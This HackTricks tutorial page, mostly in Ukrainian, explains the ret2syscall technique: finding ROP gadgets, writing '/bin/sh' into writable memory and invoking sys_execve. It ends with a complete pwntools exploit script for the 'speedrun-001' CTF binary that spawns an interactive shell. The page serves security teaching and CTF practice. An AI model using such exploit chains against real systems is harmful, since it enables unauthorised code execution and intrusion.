10 KiB
Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Це схоже на Ret2lib, однак у цьому випадку ми не будемо викликати функцію з бібліотеки. У цьому випадку все буде підготовлено для виклику системного виклику sys_execve
з деякими аргументами для виконання /bin/sh
. Ця техніка зазвичай виконується на бінарних файлах, які скомпільовані статично, тому може бути багато гаджетів і інструкцій системного виклику.
Щоб підготувати виклик для syscall, потрібна наступна конфігурація:
rax: 59 Вказати sys_execve
rdi: ptr до "/bin/sh" вказати файл для виконання
rsi: 0 вказати, що аргументи не передані
rdx: 0 вказати, що змінні середовища не передані
Отже, в основному потрібно записати рядок /bin/sh
десь, а потім виконати syscall
(пам'ятаючи про заповнення, необхідне для контролю стеку). Для цього нам потрібен гаджет, щоб записати /bin/sh
у відомій області.
{% hint style="success" %}
Ще один цікавий системний виклик, який можна викликати, це mprotect
, який дозволить зловмиснику змінити дозволи сторінки в пам'яті. Це можна поєднати з ret2shellcode.
{% endhint %}
Register gadgets
Давайте почнемо з пошуку як контролювати ці регістри:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
З цими адресами можливо записати вміст у стек і завантажити його в регістри.
Записати рядок
Записувана пам'ять
Спочатку потрібно знайти записуване місце в пам'яті.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Записати рядок у пам'ять
Тоді вам потрібно знайти спосіб записати довільний вміст за цією адресою
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Автоматизація ROP ланцюга
The following command creates a full sys_execve
ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
ROPgadget --binary vuln --ropchain
32 біти
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 біти
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Відсутність гаджетів
Якщо у вас відсутні гаджети, наприклад, для запису /bin/sh
в пам'ять, ви можете використовувати техніку SROP для контролю всіх значень регістрів (включаючи RIP та регістри параметрів) зі стеку:
{% content-ref url="srop-sigreturn-oriented-programming.md" %} srop-sigreturn-oriented-programming.md {% endcontent-ref %}
У регіоні vDSO можуть бути гаджети, які використовуються для переходу з режиму користувача в режим ядра. У таких завданнях зазвичай надається образ ядра для дампу регіону vDSO.
Приклад експлуатації
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Інші приклади та посилання
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 біти, без PIE, nx, записати в пам'ять ROP для виклику
execve
і стрибнути туди. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 біти, nx, без PIE, записати в пам'ять ROP для виклику
execve
і стрибнути туди. Для запису в стек зловживають функцією, яка виконує математичні операції. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 біти, без PIE, nx, BF canary, записати в пам'ять ROP для виклику
execve
і стрибнути туди. - https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/
- 32 біти, без ASLR, використовувати vDSO для знаходження ROP гаджетів і виклику
execve
.
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.